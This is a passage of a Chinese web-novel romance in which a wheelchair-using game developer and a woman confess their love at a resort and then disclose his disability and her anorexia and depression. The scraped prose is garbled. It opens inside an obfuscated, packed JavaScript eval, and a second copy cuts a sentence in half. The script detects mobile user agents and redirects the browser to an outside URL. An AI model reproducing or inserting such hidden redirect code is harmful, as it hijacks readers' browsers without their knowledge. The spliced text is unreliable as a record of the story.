l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599515|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和地上的木板摩擦出一声很轻的“吱”。 “你刚刚……”他还是没忍住,想确认一次,生怕自己听错,“你说喜欢我,是不是……真的?” “我都抱着你了,这很真了。”许尽欢没抬头,声音从布料和皮肤之间穿过去,闷闷的,却清楚。 他“哦”了一声,许尽欢的呼吸落在他心口。他想笑,又觉得此刻莫名其妙笑起来太傻,很影响自己的形象,于是只在心里笑,他把头偏过去,小心翼翼地额角碰了一下她的发,窃喜着。 他有点想对许尽欢说“谢谢”,又觉得这两个字好像在亵渎许尽欢。他斟酌着,最后开口:“许尽欢,我好高兴。” “嗯。”许尽欢的声音懒洋洋的,“确认了我们相互喜欢,我也很高兴。” 纪允川收紧了手臂,许尽欢微凉的脸颊贴上了他滚烫的脖颈:“好喜欢,真的好喜欢你。” “你是不是很高?”她忽然开口,声音还是那样轻,话题转移得让人猝不及防。 他被逗了一下,笑声从胸腔里溢出来,靠着她的时候更明显。他笑着认真地“嗯”了一下:“算高吧,大学毕业之后体检测了有一米八八。” 许尽欢在他肩窝闻了一下,像小猫确认自己的领地。她没说话,把下巴更稳地搁好,换了个更舒服的角度。她其实不属于需要人接住的类型,但偶尔这样还不错。 “怪不得……”许尽欢咕哝。 许尽欢在纪允川的怀里彻底放松了身体,行吧,人不就活这几个瞬间。 她的眼睛慢慢眯起来,眼尾被夜色衬得更温柔一点。 屋内的背景音忽大忽小,被风吹到门缝里,传来一段熟悉到不必看也能跟念的台词。 “你还哭吗?”许尽欢在温暖而宽阔的怀抱里感受到了困意,挣扎着坐直。 “不哭了。”他很认真地回答,然后转了转眼珠,“暂时。” 这个“暂时”很诚实,诚实很好。她喜欢诚实的东西。 诚实的海、诚实的月亮、诚实的拥抱,还有诚实的人。 大概因为她总是为了避免麻烦和解释总是随口说一些谎话,她很敬佩诚实的人。 秋千椅晃了一下,停住。露台另一角的香薰杯里冒出一条直直的烟,向上,几乎要和夜里的某颗星接上。风路过,烟弯了弯,飘散开来。 “我这样坐在你腿上你会不舒服吗?”许尽欢正色道。 纪允川下意识拢住许尽欢坐直的身体:“我有两个版本的回答。” “先说第一个版本。”许尽欢眉眼弯弯,手搭在他的肩膀上说。 “不会不舒服,抱着你我很开心,很幸福。”纪允川一字一句地慢慢说。 “第二个版本呢?”许尽欢有点好奇。 “我的腿没感觉啦,但抱着你真的很开心。”纪允川笑的开朗。 他忽然想起来一点什么,他想说“我喜欢你好多年了”。 不过想到“好多年”这三个字,觉得它好像有些沉重,会把此刻的轻松变得拥挤。 最后决定闭口不谈。 许尽欢看上去对两个版本的答案都很满意,轻声问:“困吗。” “不困。”他回答,又立刻补了句,“不太困。” 她轻笑了一下,又安静下来。重新把下巴颏搭在纪允川肩膀上::“真好。” 她垂眼,看他锁骨的线条被衬衫的布料挡了一半。她想了想,把下巴换了个位置,搭得更舒服一点。他的耳朵还在红,她的手指在他耳垂摸了一下。 “许尽欢。”他叫她。 “嗯?” “谢谢。”他最终还是找回了这个词,轻得像一片落叶。 谢谢你让我从高中开始的暗恋如愿以偿。 谢谢你赠予我如此盛大的欢喜。 谢谢你接受了残缺不全的我。 谢谢你也喜欢我。 许尽欢却觉得别扭,而且她有点困了。 既然是纪允川先开口告白了,那她也应该做点什么。 在零点的前几秒,许尽欢抚着纪允川的后脑勺,送上了一个吻。 纪允川感受到怀里女孩的动作还以为是自己瘫痪后多少肌肉萎缩了些许的腿让许尽欢坐着不舒服了,刚想道歉,但唇上随即迎上一片柔软。 他几乎是瞬间瞪大了双眼,怔怔地看着视线范围中许尽欢放大的眉眼,他第一次知道,原来人类惊喜到了一定程度后,唯一的反应是呆滞,和不知所措。 唇齿碰撞的瞬间,许尽欢又抽离了思绪。 浑身都很暖和的纪允川,嘴唇原来是有点凉的。 28. 第 28 章 月光落进海里,好似有人往水面撒了一把碎银。香薰的味道烧到底,恬淡的味道骤然变浓,提醒这夜还没散场。 唇齿缱绻的深吻停在零点的后一刻。时间匆匆踩了一脚刹车,又像什么都没发生一样继续往前走。 纪允川试图夺回呼吸,他把手从许尽欢的后脑勺边撤下来,怕自己再多停一秒就会失控。手指垂落在身侧捏着轮圈的外沿。那手指刚被她碰过,热得不太像他自己的。 “我——”他嗓子发紧,像刚喝过一口热茶,“时间晚了,我回去了。” 许尽欢靠着门,指尖还留着他衣领的触感:“那,晚安。” 门的磁力锁轻轻弹开,他调头时前小轮在门槛处先抬后落,动作熟练得没有任何声响。临出门,他又探回头,笑得有点傻乎乎的:“晚安,做个好梦。” “你也是。”她把门扶着,等轮子完全过去,才慢慢合拢。 门合上,她坐回床边,把手机丢在枕边,进浴室卸妆洗漱,出来的时候电视里的演员正在笑着念白。许尽欢关了灯,拉开一点窗帘,她躺下,闭眼,睡意降下来的速度罕见地快。她几乎没有做任何努力,就进入了一个完整的睡眠。 她一夜好眠。 纪允川回到房间,静静坐了几分钟,他感觉自己身上还萦绕着许尽欢的气味。人坐在床沿,手往前一撑,准备转移到床上,忽然感受到手心出了点汗,轮圈沾了细细的潮气。他顿住,重新坐回轮椅驶去卫生间洗手,水流的声音砸在洗手台里,他逐渐清醒。 真是乱了套了。 洗完手,他才开始走回正轨。把随身小包放到熟悉的位置,拉开拉链。消毒湿巾、润滑剂、一次性导尿管、备用袋、处理小包,东西整整齐齐地码在里面。洗澡前他习惯性地先摸了一遍皮肤状态。 坐骨处没有异常红,腿外侧皮肤温度偏凉没有肿胀发热,检查了所有失去知觉的部位后,他松了口气。 洗完澡已经凌晨一点多,纪允川靠在床头彻底躺平前又把足托角度调小了一点,免得脚尖抵到床沿。又在双膝间夹了一个枕头,才安心躺下。 这些动作做完,他本该困得不得了。可心脏一直怦怦地跳个不停。他打开手机里那个需要密码才打开的相册,来回看了好几遍。 相册里是和许尽欢遇见后吃的每一餐饭,去的每一个地方,最新一张照片是今晚和他工作室的同事一起聚餐吃的烧烤。 纪允川把手机熄灭,他在黑里闭眼,胸腔里还翻滚着热浪。热气仿佛把屋里的每一道缝都烫过一遍,他心浮气躁,辗转反侧枕头被翻得从凉面翻到热面,再翻回凉面。 醒着的时间比他想象的长。许尽欢刚才说“我也喜欢你”的时候表情的生动鲜活一遍遍在他脑海放映。 直到两点多,他才迷迷糊糊因为身体的极度疲劳而睡去,又在四点多被一阵痉挛弄醒。天还没完全亮,他也不想管。只把被子往上提。 天光乍亮,海从深蓝慢慢褪成浅。许尽欢比闹钟早醒了半小时。她很少这么早醒,还精神得像换了颗新的电池。心情不错地洗漱化妆,挑了条绿色的长裙,把相机丢进包里,又顺手拿了一本漫画和一瓶无糖茶。 走出水屋,廊下的光是温和的。她沿着栈道往大厅去,酒店从大堂一直铺到沙滩的那条木板路已经被海风吹得干干净净。板缝很细,卡着一些被夜里潮气挤上来的沙,踩上去沙沙地响。 海岛的无障碍做得真的很好,大堂出口处已经很低的台阶旁,斜着一条缓坡,宽度够轮椅转身。 沿坡下去,木板路一路延伸到沙子边,边上还垫了防滑胶条,缝隙也做得细,只在接缝的地方有指甲盖宽。她一路走,手指轻轻划过栏杆。 海风从侧面吹动她裙摆的下沿,她挑了个不太晒的位置坐下,背后有棕榈的影,前面海面平静无波,她的眼睛在白和蓝之间来回走神。 手机震了一下:【早啊~睡醒了吗?】 她看一眼时间,八点半了,回:【醒了】 过了半分钟,他:【你在哪呀?房间吗?】 她拍了一张眼前的海,配字:【东侧木板路尽头,靠右。】 气泡跳了跳:【收到。我出发找你去咯!】 纪允川醒来后看着天花板发了会呆,然后亢奋地哼着小曲儿起床做他的早起程序。临出门前觉得白T配米色的裤子太单调,套了件浅粉色的衬衫,又带了条项链。端详半晌镜子里的自己,满意地点头出门。 远远看见她,藏着棕榈的影子下,裙摆漫出沙滩椅一小摊。她把书扣在腿上,侧过脸,海风把她的发尾轻轻扬起,又落在肩上。他停在离她一臂的地方,语气刻意平常:“早。” “起来这么早啊,五好青年。”她把书合上,放在一边侧头看他,眉眼弯弯地打趣他。 “我昨天……睡得不好。”纪允川有点不好意思地笑了一下,这话说得不像抱怨,更像炫耀,“不过精神很好。” 许尽欢看着他若隐若现的黑眼圈笑眯着眼:“我昨天睡得很好。” “那很好。”纪允川说的是心里话。 许尽欢一直水土不服,还发了烧,今天的脸色确实看上去不错,他也总算放下心来。 风里有果香味,是酒店早饭那边飘过来的。她把书塞回包里,问:“一起去吃早饭吗。” “好。”他答得干脆,哪怕昨晚的激动让他现在肚子并不饿。 纪允川转动轮椅,留出许尽欢走在身侧的位置。她半步走在他前面一点,木板路回去有上坡,他速度慢下来,呼吸略快。他侧头看她,她问:“需要帮忙吗?” 他晃了晃头:“不用。就这么走,挺好。” “嗯。”她不再问,陪他慢慢上坡。 餐厅在一楼靠海。落地窗把早晨框成一幅亮亮的日出风景画。自助台上,水果切得整齐,热菜还冒着热气。餐厅的地面光滑,转弯处的地砖和木地板衔接处有很细的斜坡过渡。 不是旺季也不是假期,整个度假酒店几乎全是纪允川工作室的人,而他带的二十个人几乎都是昼伏夜出动物。早餐开始没多久,此刻偌大的餐厅只有他们两和几个外国人。 许尽欢坐在他对面。 阳光沿着窗棂薄薄滑下来,落在她漫画书的封面上,又落在她手腕上。服务生过来把两杯水放在桌上,问要不要果汁。她点了椰子水,要了一份中式早餐。 纪允川要了一份西式的,说可以换着吃。 他试图找一个不显得紧张局促的姿势,但紧张还是藏不住。许尽欢这种不乐意吃饭的人主动说吃早饭,让他有了一点不好的预感。 她可能有话要说。 预感越明确,心跳越快。 他深吸一口气,让自己语气轻一点:“你……要不要吃点水果什么的?我看可以点拼盘。” 许尽欢摇头:“不用。” 又顿了顿,忽然把视线从窗外收回来,落在他眼睛上。她思考的时间很短,几乎是瞬间做了决定:“我想跟你说点事。” 他啪地一下坐直了,背脊像被电了一下。 庆幸没带智能手表,不然此刻该因为他的心跳拉响警报了。他以为自己已经在昨晚经历了全世界最美好的事,早上该继续延续这份幸福甜蜜。 但她说“说点事”。 纪允川记忆里的说点儿事儿几乎都是他闯祸之后他妈找他秋后算账前的预告。 “能不能……预告一下?好事儿,还是坏事儿?” 她认真想了一下,这个诚实的问题让她也想给出诚实的回答。 于是她诚实得很干脆:“应该不算好事儿。” 他心凉了半截。凉意从胸口往手指尖蹿,蹿到指尖的时候有点麻。 他闷闷地“哦……”了一声,像在等法官宣读判决。 他忽然很怕,怕许尽欢睡了一觉醒来,冷静下来,决定把昨晚归为“意外”;怕她说“你是个残疾人,我们不合适”;怕她说“我不太适合谈恋爱”。 很多个猜想叠在他胸口,挤压到他喘不过气来。他强行把呼吸拉平,手在桌下握成了拳。 她看见他整个人收紧的那一下。她知道“预告”这个环节太残忍,但她不想骗他。与其让他在蜜里漂几天再摔一跤,她更愿意现在就把一些东西摆在明面上。 许尽欢抬起手,握住了面前的杯子,也算给自己打气。玻璃杯外壁凝着细水珠,把她手指润湿了。她吸了一口椰子水,放下杯子,慢慢开口…… “我觉得,如果我们要恋爱的话。有些事情我应该实话实说。第一件事是,我应该有点不爱吃饭,”她摩挲着玻璃杯壁的水珠说,“听学医的朋友说,我这种程度算厌食症。但是我没去看过医生,因为我的免疫力还好,不怎么生病。” 纪允川没想到她要说的是关于她自己,他此刻说不出话。他早就知道她吃得少,少到会让人心里生出一种不踏实和担忧。但厌食两个字像落下一块石头,他表情收紧,目光直直地看着她,怕漏掉她任何一个字。 许尽欢接着说:“第二件事是,我作息不太规律。昼夜颠倒是常有的事。睡觉时间比别人稍微长一点,可能会影响社交。” 纪允川的眼睛里有很多复杂的东西堆成一团,心疼、担心、手忙脚乱的无能为力。 她停了停,把吸管放下,把最后一段也整理好:“最后呢,我有一点抑郁倾向。好几年前去看过医生,最开始有在吃药控制。但是后来没什么症状,就停药了。我没有自残自毁的倾向,这点你放心,我也不会伤害别人。” 他的心里一紧,再紧。紧到像有人从里面抓住快要捏爆他的心脏。 他知道许尽欢在把自己最脆弱而真实的那部分拿出来摊开给他看的时候,需要跨过多少道她自己的关。 可他只能像个旁观者一样,什么也做不到。 许尽欢把剩下的椰子水喝掉,杯子放在桌上闷闷地一声,收一收语气:“这大概就是关于我的一些事情。你可以听听看,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604240|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择要不要收回昨天晚上的话。” 纪允川感觉自己正在溺水。他的喉咙发紧,眼眶发热,他仍旧坐在原地。下一秒,他像再也无法忍受,拉开刹车,轮椅微微后退再向前,绕到桌子这边。他把自己停在她椅子的侧前,用最熟悉的角度,距离够近,又不至于挡住她起身。他抬手,先把刹车锁住,身体往前微微探,去抱她。 他庆幸此刻留存了些许理智,在拥抱之前先保证自己的轮椅稳定,留出她可以躲开的出口。 不过她没躲。 纪允川把面前的女人抱进怀里,手从她的后脑往下,顺着她披散的长发,一下一下,像在给走丢的抱抱顺毛。他从嗓子里挤出一句:“不收回,我怎么可能收回。” 话说完,他的身体僵了一下,反应过来自己会不会太粗鲁太用力了。他立刻松开,留出空间,怕压坏她。他的眼睛在她脸上迅速流转一圈,确认她没有不适。 她静静看着他。 许尽欢有些不满,她喜欢被抱着,这是她承认过的偏好。不过她也知道面前这位很容易受到惊吓,所以她没说话,但眉尾很轻地往下压了一点。 有点不满,很小的一点。 纪允川忽然垂下头,像认错的小学生:“那你也要考虑一下吗?” 他抬眼的瞬间,眼睛是湿漉漉的,但神色很认真:“我有残疾证的,是没办法康复的。” 许尽欢盯着他看了两秒,然后倾身凑过去,在纪允川的脸侧亲了一下他的脸颊。 说是亲,也就是唇瓣贴了一下面颊,轻轻的。 “考虑过了,”她搂住纪允川的脖子,顺手揉了两下纪允川的脑袋说,“但我很喜欢你。这种喜欢大于了你身体的客观条件。所以我不想错过你。” 纪允川眼前被水雾弄得有点模糊,一瞬间,所有紧绷着的东西一下子全松了,同时被某个更柔软的东西紧紧地包住。 他把许尽欢抱回怀里。这一次,他把她整个人带进来,圈在自己胳膊里,用力地,像找回了缺失的另一部分自我。 许尽欢把脑袋搭在他肩膀上,纪允川肩膀很宽,覆着薄薄的肌肉,骨感却有力。她能感到那双手臂把自己完全包起来,她满足地笑了一下,笑意没到唇角,眼里亮了一点。 她歪过脑袋,用脸颊蹭了蹭他的脖颈。那里的皮肤略凉,散着淡淡的香水味道。 “那我们,都不要想太多。”她靠着他说。 “嗯。”他的回答是闷闷的,从胸腔里出来,落在她的耳边。 许尽欢在心里叹气,这人可真爱哭啊。 不过,她并不嫌弃这点。 纪允川是个好人,是个情绪丰富而健康,性格温柔而可爱的好人。 他们的早饭吃完得很慢。许尽欢吃了少少一半,纪允川吃得也不是很多,两人加在一起,吃了一碗粥和两片蛋饼。 餐厅门口有一道窄窄的坡。纪允川速度放慢,身体往后靠,来稳定重心。他不习惯让人推他的轮椅,于是定制的时候连推手和扶手都没定。那会让他心里生出失控的恐慌。如果有人从后面突然伸手,他会下意识地收紧肩背。 他们从餐厅出来,天光更亮了些。风把遥远的浪声推近,又推远。木板路上有三两个人晨跑,鞋底笃笃地敲着木头。 他们并排走了一段。纪允川抬眼看她,问:“还去看书吗?” “去。”她说。 “我再陪你一会儿。”纪允川思索着时间:“然后我回去处理点事,再出来找你。” “好。”许尽欢不喜欢刨根问底,她也不需要纪允川解释处理点事的具体是什么。 他心里被轻轻地蹭了一下,又被抚平。被心爱的人理解并且留有余地的安稳,比任何承诺都更可靠。 风里飘过一点椰香味。纪允川不知道想到了什么,忽然笑起来,有点傻。许尽欢侧头看他一眼,嘴角也轻轻上挑了一点点。 他们走回那片棕榈的影子下。许尽欢把漫画拿出来,重新翻到刚才那页。纪允川把轮椅停在她正侧,把刹车按下。 “看的什么?”他好奇地把脑袋凑近,“漫画吗?” “深夜食堂。”她淡淡地答:“你感兴趣可以来我家看,我家有全套。” 他认真想了一下:“那等游戏上线之后我就去你家看。” 许尽欢笑:“好。” 她想了想:“借阅费想好怎么支付了吗?” 他“啊”了一声,又笑:“把我的游戏账号送你玩好不好?。” “你买的游戏多吗?”许尽欢随口问:“不多可抵不了借阅费。” “哇,说什么也不能瞧不起我的游戏账号!我从小到大的零花钱可全在号里了!”纪允川义正严辞。 阳光把海面打亮了一层,万里无云的晴空让海水变成果冻。 “那么值钱啊。”许尽欢笑着侧目看他,语气像逗崽崽。 “超级值钱!!”纪允川也仿佛崽崽上身了,骄傲地挺起胸膛。